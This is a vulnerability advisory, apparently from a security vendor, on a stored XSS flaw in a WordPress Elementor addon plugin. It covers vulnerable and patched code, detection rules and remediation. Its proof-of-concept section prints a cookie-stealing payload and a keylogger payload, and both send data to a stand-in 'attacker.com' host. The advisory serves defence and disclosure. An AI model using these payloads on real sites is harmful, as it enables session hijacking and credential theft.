CVE-2025-31823
Executive Summary
CVE-2025-31823 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPoperation Elementor Addons WordPress plugin (slug: wpop-elementor-addons), affecting versions up to and including 1.1.9. This vulnerability allows an authenticated attacker with at least Contributor-level privileges to inject arbitrary JavaScript into web pages via improperly neutralized input fields. When a site administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
The vulnerability resides in the plugin's Elementor widget rendering logic, where user-supplied data (e.g., widget titles, descriptions, or custom attributes) is not sanitized before being stored and later output in the page. The CVSS score of 6.5 (Medium) reflects the need for authenticated access and user interaction, but the impact is amplified in multi-tenant WordPress environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin's update mechanism; users must manually check for patches or remove the plugin if no update is provided.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): High (H) – Requires Contributor-level or higher WordPress account.
- User Interaction (UI): Required (R) – Victim must visit the compromised page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Partial modification of content.
- Availability (A): Low (L) – Minor disruption possible.
Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can persist indefinitely, affecting all subsequent visitors.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (CWE-79) in the WPoperation Elementor Addons plugin. The plugin extends Elementor with custom widgets (e.g., "WPoperation Heading", "WPoperation Button"). When a user with Contributor or Author privileges creates or edits a page using these widgets, the plugin fails to sanitize input fields such as title, description, or custom_css_class before storing them in the WordPress database.
The stored payload is later rendered in the frontend without proper escaping. For example, if a widget's "Title" field accepts <script>alert('XSS')</script>, the script will execute when the page loads. The vulnerability is triggered via the wp_ajax_wpop_save_widget AJAX action or the standard WordPress REST API endpoint used by Elementor.
Attack Flow:
- Attacker logs in with a Contributor-level account.
- Attacker creates a new page or edits an existing one using Elementor.
- Attacker adds a vulnerable WPoperation widget (e.g., "WPoperation Heading").
- Attacker injects a malicious payload into a text field (e.g.,
<img src=x onerror=alert(1)>). - The payload is stored in the
wp_postmetatable as widget settings. - When an administrator or visitor loads the page, the payload executes.
Vulnerable vs. Patched Code
Vulnerable Code (wpop-elementor-addons/includes/widgets/class-heading.php):
public function render() {
$settings = $this->get_settings_for_display();
$title = $settings['title']; // No sanitization
echo '<h2 class="wpop-heading">' . $title . '</h2>';
}
Patched Code (Hypothetical fix):
public function render() {
$settings = $this->get_settings_for_display();
$title = esc_html( $settings['title'] ); // Properly escaped
echo '<h2 class="wpop-heading">' . $title . '</h2>';
}
The vulnerable code directly outputs user input without using WordPress escaping functions like esc_html(), esc_attr(), or wp_kses_post(). The patched version applies esc_html() to neutralize HTML tags.
Exploitation & Lab Setup
Red Team (Proof of Concept)
Prerequisites:
- WordPress instance with WPoperation Elementor Addons <= 1.1.9 installed and activated.
- A user account with Contributor or higher privileges.
Exploitation Steps:
- Log in as a Contributor.
- Navigate to Pages > Add New and open with Elementor.
- Search for "WPoperation Heading" widget and drag it onto the canvas.
- In the widget settings, set the "Title" field to:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Publish the page.
- When an administrator visits the page, the script executes, exfiltrating their session cookie.
Alternative Payload (Keylogger):
<input onfocus="document.addEventListener('keydown',function(e){fetch('https://attacker.com/k?k='+e.key)})" autofocus>
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress logs for suspicious widget saves via
wp_ajax_wpop_save_widget. - Look for unusual
<script>,<img onerror>, or<svg onload>patterns in post meta.
Hardening:
- Restrict Contributor roles from using Elementor (use plugins like "User Role Editor").
- Apply a Web Application Firewall (WAF) rule to block XSS payloads in POST data.
- Disable the plugin until a patch is released.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/wpop-elementor-addons/includes/widgets/class-heading.php(or similar widget files). - Database: Rows in
wp_postmetawithmeta_keycontaining_elementor_dataandmeta_valuecontaining<script>oronerrorpatterns. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Logs: WordPress debug log entries showing
wp_ajax_wpop_save_widgetwith unusual payloads.
Detection Engineering
YARA Rule
rule CVE_2025_31823_WPoperation_XSS {
meta:
description = "Detects stored XSS payloads in WPoperation Elementor Addons plugin"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2025-31823"
strings:
$payload1 = /<script[^>]*>.*?<\/script>/is
$payload2 = /onerror\s*=\s*["'][^"']*["']/is
$payload3 = /onload\s*=\s*["'][^"']*["']/is
$plugin_path = "wpop-elementor-addons"
condition:
any of ($payload*) and $plugin_path
}
Sigma Rule
title: CVE-2025-31823 - Stored XSS via WPoperation Elementor Addons
id: 8a3f2c1e-5d7b-4a9f-8c2e-1b3d4e5f6a7b
status: experimental
description: Detects stored XSS attempts in WPoperation Elementor Addons plugin
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains:
- '/wp-admin/admin-ajax.php'
- '/wp-json/elementor/v1/'
http.body|contains:
- 'wpop-elementor-addons'
- '<script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of JavaScript in widget content (rare)
level: high
tags:
- attack.t1190
- cve.2025.31823
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-31823 - WPoperation Elementor Addons Stored XSS";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"wpop-elementor-addons"; http_client_body;
pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload)/i";
sid:10000001;
rev:1;
reference:cve,2025-31823;
priority:2;
)
Remediation & Mitigation
- Immediate: Disable the WPoperation Elementor Addons plugin until a patch is released.
- Short-term: Apply a virtual patch via WAF to block XSS payloads in POST requests to Elementor endpoints.
- Long-term: Monitor the plugin's official page for updates. If no patch is provided within 30 days, consider replacing the plugin with an alternative.
- User Training: Educate content contributors about the risks of pasting untrusted content into Elementor widgets.
Valters IT – Securing digital ecosystems with precision.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.